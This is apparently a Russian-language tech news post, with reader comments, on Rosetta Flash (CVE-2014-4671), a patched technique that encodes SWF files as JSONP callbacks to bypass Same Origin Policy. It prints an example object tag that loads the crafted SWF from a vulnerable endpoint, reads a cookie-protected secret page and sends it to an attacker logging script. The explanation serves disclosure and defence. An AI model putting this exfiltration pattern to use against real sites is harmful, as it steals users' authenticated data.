Пользователь
274,5
рейтинг
13 июля 2014 в 02:54

Разработка → Rosetta Flash — кодирование SWF для вызова из JSONP

Michele Spagnuolo, специалист по безопасности Google, написал утилиту, которая может закодировать любой SWF-файл любым словарем.
Зачем это нужно? Все очень просто — такой файл можно передать в качестве параметра callback в JSONP на сайте, с которого вам нужно получить информацию, таким образом, вы сможете обойти Same Origin Policy.
Эта проблема была достаточно давно известна, однако, ей не уделяли особого внимания именно из-за того, что получить SWF-файл, состоящий только из символов, которые можно задать как параметр callback, было крайне сложно, однако, сейчас такой инструмент появился.
Утилита использует zlib, алгоритм Хаффмана и брутфорс контрольной суммы ADLER32.

Из крупных сервисов, были уязвимы:
  • Сервисы Google (accounts.google.com, books.google.com, maps.google.com)
  • Youtube
  • Ebay
  • Instagram
  • Twitter
  • Tumblr
  • Olark

Как же уязвимость использовалась?


Предположим, есть два домена: подконтрольный нам miki.net и тот, который нужно атаковать trovatel.net

На trovatel.net есть JSONP-скрипт, который принимает параметр из печатаемых символов:
http://trovatel.net/vulnerable_jsonp.php?callback=


Имеется секретная страница, которая выдает секрет, если на нее зайти с установленной cookie
http://trovatel.net/secret/secret.php


При заходе на страницу miki.it/RosettaFlash, пользователя ждет такой код:
<object type="application/x-shockwave-flash" data="http://trovatel.net/vulnerable_jsonp.php?callback=CWSMI…" width="1" height="1">
<param name="FlashVars" value="url=http://trovatel.net/secret/secret.php&exfiltrate=http://miki.it/RosettaFlash/log.php">
</object>

Где miki.it/RosettaFlash/log.php — скрипт-логгер.

Браузер пользователя загрузит SWF-файл как бы от сайта trovatel.net, откроет страницу с секретом (и с правильными cookie, конечно же) и отправит ее содержимое на удаленный сервер злоумышленника. Все довольно просто и типично.

На данный момент, Adobe выпустила обновление Flash Player, в котором эксплуатация данной уязвимости невозможна.

Ссылки


Информация в блоге автора
Более подробная информация в PDF
Утилита на Github
CVE-2014-4671
Влад @ValdikSS
карма
593,2
рейтинг 274,5
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Разработка

Комментарии (7)

  • +7
    Говоря коротко и упрощённо: уязвимость позволяет «загрузить» на сайт, использующий JSONP, произвольный ABC, который, будучи неотфильтрованным в недрах вызова JSONP, адекватно интерпретируется необновленным FlashPlayer.

    Я всё верно понял?
    • 0
      Все верно.
  • +2
    А как пропатчились сервисы-то?
    • +4
      Точно не знаю, наверное, ввели ограничение на длину параметра.
    • +1
      Я бы проверял, какой mime-type запрашивает браузер, и отдавал ответ, только если он ожидает получить application/javascript
  • 0
    Вроде смысл понятен, но профит — не очень. Точнее сама постановка странная — секрет который можно получить по куке. Что это за секрет? Где такая архитектура используется? Для чего этот секрет используется дальше? Как-то все слишком сложно, зачем этот секрет нужен, если уже есть кука?
    • +4
      Секрет здесь просто для примера. Иногда вы не можете украсть куки, т.к. у них стоит httpOnly, однако, вы можете из этого флеш-сценария выполнить какие-то запросы, которые будут отправлены с куками.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.